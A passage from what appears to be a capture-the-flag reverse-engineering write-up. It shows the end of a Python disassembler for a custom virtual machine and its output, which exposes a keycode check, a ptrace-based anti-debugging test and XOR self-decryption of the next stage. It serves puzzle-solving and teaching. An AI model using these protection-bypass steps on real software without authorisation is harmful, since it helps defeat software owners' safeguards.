&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: JLE pc &amp;lt;- &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2"> if [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;lt;= [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_jge&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: JGE pc &amp;lt;- &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2"> if [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;gt;= [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_xor&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: XOR [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;lt;- [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] ^ [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_store&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: STORE MEM[[&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]] &amp;lt;- [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_load&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: LOAD [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">] &amp;lt;- MEM[[&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">opr&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s1">&amp;#39;vm_input&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: INPUT [&lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">]&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">i&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">6&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: UNKNOWN&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{:03d}&lt;/span>&lt;span class="s2">: UNKNOWN &lt;/span>&lt;span class="si">{}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">op&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;./bin&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;rb&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">f&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ls1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ls2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">f&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">:]:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ls1&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">714&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">714&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="mi">220&lt;/span>&lt;span class="o">*&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ls1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">^&lt;/span> &lt;span class="mi">69&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">disass&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ls1&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Which gives the below output.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">000: PUTC &amp;#39;[&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">006: PUTC &amp;#39;M&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">012: PUTC &amp;#39;a&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">018: PUTC &amp;#39;i&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">024: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">030: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">036: PUTC &amp;#39;V&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">042: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">048: PUTC &amp;#39;s&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">054: PUTC &amp;#39;s&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">060: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">066: PUTC &amp;#39;l&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">072: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">078: PUTC &amp;#39;T&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">084: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">090: PUTC &amp;#39;r&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">096: PUTC &amp;#39;m&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">102: PUTC &amp;#39;i&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">108: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">114: PUTC &amp;#39;a&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">120: PUTC &amp;#39;l&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">126: PUTC &amp;#39;]&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">132: PUTC &amp;#39;\n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">138: PUTC &amp;#39;&amp;lt;&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">144: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">150: PUTC &amp;#39;E&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">156: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">162: PUTC &amp;#39;t&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">168: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">174: PUTC &amp;#39;r&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">180: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">186: PUTC &amp;#39;k&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">192: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">198: PUTC &amp;#39;y&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">204: PUTC &amp;#39;c&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">210: PUTC &amp;#39;o&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">216: PUTC &amp;#39;d&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">222: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">228: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">234: PUTC &amp;#39;\n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">240: PUTC &amp;#39;&amp;gt;&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">246: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">252: MOV [30] &amp;lt;- 160
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">258: MOV [28] &amp;lt;- 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">264: MOV [29] &amp;lt;- 17
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">270: INPUT [25]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">276: STORE MEM[[30]] &amp;lt;- [25]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">282: ADDI [30] &amp;lt;- [30] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">288: ADDI [28] &amp;lt;- [28] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">294: JLE pc &amp;lt;- 270 if [28] &amp;lt;= [29]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">300: MOV [30] &amp;lt;- 4
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">306: MOV [31] &amp;lt;- 160
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">312: MOV [28] &amp;lt;- 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">318: MOV [29] &amp;lt;- 10
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">324: MOV [27] &amp;lt;- 169
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">330: MOV [23] &amp;lt;- 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">336: LOAD [25] &amp;lt;- MEM[[30]]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">342: LOAD [24] &amp;lt;- MEM[[31]]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">348: XOR [25] &amp;lt;- [25] ^ [27]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">354: JE pc &amp;lt;- 468 if [25] == [24]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">360: PUTC &amp;#39;U&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">366: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">372: PUTC &amp;#39;k&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">378: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">384: PUTC &amp;#39;o&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">390: PUTC &amp;#39;w&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">396: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">402: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">408: PUTC &amp;#39;k&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">414: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">420: PUTC &amp;#39;y&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">426: PUTC &amp;#39;c&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">432: PUTC &amp;#39;o&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">438: PUTC &amp;#39;d&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">444: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">450: PUTC &amp;#39;!&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">456: PUTC &amp;#39;\n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">462: EXIT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">468: ADDI [30] &amp;lt;- [30] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">474: ADDI [31] &amp;lt;- [31] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">480: ADDI [28] &amp;lt;- [28] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">486: JLE pc &amp;lt;- 336 if [28] &amp;lt;= [29]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">492: MOV [15] &amp;lt;- 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">498: PUSH [15]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">504: PUSH [15]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">510: PUSH [15]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">516: INV [31] &amp;lt;- syscall(101, 3)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">522: MOV [16] &amp;lt;- 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">528: JE pc &amp;lt;- 648 if [31] == [16]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">534: PUTC &amp;#39;T&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">540: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">546: PUTC &amp;#39;r&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">552: PUTC &amp;#39;m&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">558: PUTC &amp;#39;i&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">564: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">570: PUTC &amp;#39;a&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">576: PUTC &amp;#39;l&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">582: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">588: PUTC &amp;#39;b&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">594: PUTC &amp;#39;l&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">600: PUTC &amp;#39;o&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">606: PUTC &amp;#39;c&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">612: PUTC &amp;#39;k&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">618: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">624: PUTC &amp;#39;d&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">630: PUTC &amp;#39;!&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">636: PUTC &amp;#39;\n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">642: EXIT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">648: MOV [30] &amp;lt;- 119
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">654: MULI [30] &amp;lt;- [30] * 6
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">660: MOV [28] &amp;lt;- 0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">666: MOV [29] &amp;lt;- 220
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">672: MOV [27] &amp;lt;- 69
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">678: LOAD [25] &amp;lt;- MEM[[30]]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">684: XOR [25] &amp;lt;- [25] ^ [27]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">690: STORE MEM[[30]] &amp;lt;- [25]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">696: ADDI [30] &amp;lt;- [30] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">702: ADDI [28] &amp;lt;- [28] + 1
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">708: JLE pc &amp;lt;- 678 if [28] &amp;lt;= [29]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">714: PUTC &amp;#39;&amp;lt;&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">720: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">726: PUTC &amp;#39;E&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">732: PUTC &amp;#39;n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">738: PUTC &amp;#39;t&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">744: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">750: PUTC &amp;#39;r&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">756: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">762: PUTC &amp;#39;s&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">768: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">774: PUTC &amp;#39;c&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">780: PUTC &amp;#39;r&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">786: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">792: PUTC &amp;#39;t&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">798: PUTC &amp;#39; &amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">804: PUTC &amp;#39;p&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">810: PUTC &amp;#39;h&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">816: PUTC &amp;#39;r&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">822: PUTC &amp;#39;a&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">828: PUTC &amp;#39;s&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">834: PUTC &amp;#39;e&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">840: PUTC &amp;#39;\n&amp;#39;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">846: PUTC &amp;#39;&amp;gt;&amp;#39;
